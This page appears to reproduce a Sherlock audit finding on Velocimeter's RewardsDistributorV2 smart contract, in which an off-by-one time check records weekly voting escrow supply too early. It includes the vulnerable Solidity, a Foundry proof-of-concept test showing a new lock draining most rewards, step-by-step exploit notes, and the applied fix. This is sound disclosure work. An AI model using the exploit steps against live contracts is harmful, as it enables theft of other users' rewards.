Skip to content
Business logic Audit finding Intermediate

`ve_supply` is updated incorrectly

An incorrect time check in the rewards distributor causes the total voting escrow supply for the current week to be recorded before the week ends. A malicious user can create a new voting escrow NFT right after the checkpoint and capture almost all future distribution rewards, leaving other users unable to claim.

0xpiken Follow with 1nc0gn170, 4gontuk and 13 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/495

Found by

0xpiken, 1nc0gn170, 4gontuk, Audinarey, Chinmay, KungFuPanda, Naresh, Ruhum, Varun_19, atoko, bughuntoor, burnerelu, cryptic, eeyore, sonny2k, talfao

Summary

An incorrect time check causes ve_supply[t] to be updated incorrectly.

Vulnerability Detail

When RewardsDistributorV2#checkpoint_total_supply‎() is called, the total supply at time t will be stored in ve_supply[t] for future distribution reward calculations:

Solidity
    function _checkpoint_total_supply() internal {
        address ve = voting_escrow;
        uint t = time_cursor;
        uint rounded_timestamp = block.timestamp / WEEK * WEEK;
        IVotingEscrow(ve).checkpoint();

        for (uint i = 0; i < 20; i++) {
            if (t > rounded_timestamp) {
                break;
            } else {
                uint epoch = _find_timestamp_epoch(ve, t);
                IVotingEscrow.Point memory pt = IVotingEscrow(ve).point_history(epoch);
                int128 dt = 0;
                if (t > pt.ts) {
                    dt = int128(int256(t - pt.ts));
                }
@>              ve_supply[t] = Math.max(uint(int256(pt.bias - pt.slope * dt)), 0);
            }
            t += WEEK;
        }
        time_cursor = t;
    }

ve_supply[t] should be only updated when t week has end (t + 1 weeks <= block.timestamp) . However, ve_supply[t] could be updated incorrectly when block.timestamp % 1 weeks is 0. If a veNFT is created immediately after checkpoint_total_supply‎() is called, its balance will not be accounted for in ve_supply[t]. A malicious user could exploit this flaw to steal future distribution rewards.

Copy below codes to RewardsDistributorV2.t.sol and run forge test --match-test testStealFutureDistributeReward

Solidity
    function testStealFutureDistributeReward() public {
        initializeVotingEscrow();

        vm.warp((block.timestamp + 1 weeks) / 1 weeks * 1 weeks); 
        minter.update_period();
        //@audit-info malicious can mint a new nft (tokenId == 3) to steal future distribution reward
        flowDaiPair.approve(address(escrow), 2e18);
        escrow.create_lock(2e18,50 weeks);
        //@audit-info 10e18 DAI was deposited into distributor
        DAI.transfer(address(distributor), 10e18);
        vm.warp(block.timestamp + 1 weeks);
        //@audit-info update_period() is called to update  `tokens_per_week`
        minter.update_period();
        //@audit-info the owner of token3 is eligible to claim almost all distribution reward
        assertApproxEqAbs(distributor.claimable(3),  10e18, 0.2e18);
        distributor.claim(3);
        //@audit-info distributor doesn't have enough DAI for token1 to claim
        assertLt(DAI.balanceOf(address(distributor)), 0.2e18);
        assertEq(distributor.claimable(1), 5e18);
        vm.expectRevert();
        distributor.claim(1);
    }

Impact

A malicious user could create a new veNFT to steal future distribution rewards, leaving other eligible users without any rewards to claim.

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/RewardsDistributorV2.sol#L149

Tool used

Manual Review

Recommendation

Make sure that ve_supply[t] should be only updated when t week has end (t + 1 weeks <= block.timestamp):

Diff
    function _checkpoint_total_supply() internal {
        address ve = voting_escrow;
        uint t = time_cursor;
        uint rounded_timestamp = block.timestamp / WEEK * WEEK;
        IVotingEscrow(ve).checkpoint();

        for (uint i = 0; i < 20; i++) {
-           if (t > rounded_timestamp) {
+           if (t >= rounded_timestamp) {
                break;
            } else {
                uint epoch = _find_timestamp_epoch(ve, t);
                IVotingEscrow.Point memory pt = IVotingEscrow(ve).point_history(epoch);
                int128 dt = 0;
                if (t > pt.ts) {
                    dt = int128(int256(t - pt.ts));
                }
                ve_supply[t] = Math.max(uint(int256(pt.bias - pt.slope * dt)), 0);
            }
            t += WEEK;
        }
        time_cursor = t;
    }

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Velocimeter/v4-contracts/pull/11

spacegliderrrr

Fix looks good. > is now changed to >=

sherlock-admin2

The Lead Senior Watson signed off on the fix.

The original report as published on Sherlock, by 0xpiken. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the loop condition uses a strict greater-than comparison, so it processes the current week's timestamp even when the week has not ended, recording an incomplete total supply.

Impact

A malicious user could steal future distribution rewards, leaving other eligible users without any rewards to claim.

What the attacker needed

Ability to create a voting escrow lock; timing at the start of a week; reward tokens deposited in distributor

The fix

The protocol team fixed this issue by changing the comparison from `>` to `>=` so the current week is not processed early.

How it was found

  1. Warp time to the start of a week and call update_period to trigger the checkpoint.
  2. Create a new voting escrow lock immediately after the checkpoint.
  3. Deposit reward tokens into the distributor.
  4. Warp forward one week and call update_period again.
  5. The new lock can claim almost all the deposited rewards, leaving the original lock unable to claim.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract records how many voting tokens exist at the start of each week to share out rewards fairly. Because it records the total too early, someone can add a new token just after the recording and still get a huge share of rewards meant for everyone. This leaves honest users with too little to claim.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0xpiken

View all

29 more disclosed reports, best first.

More from Velocimeter

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.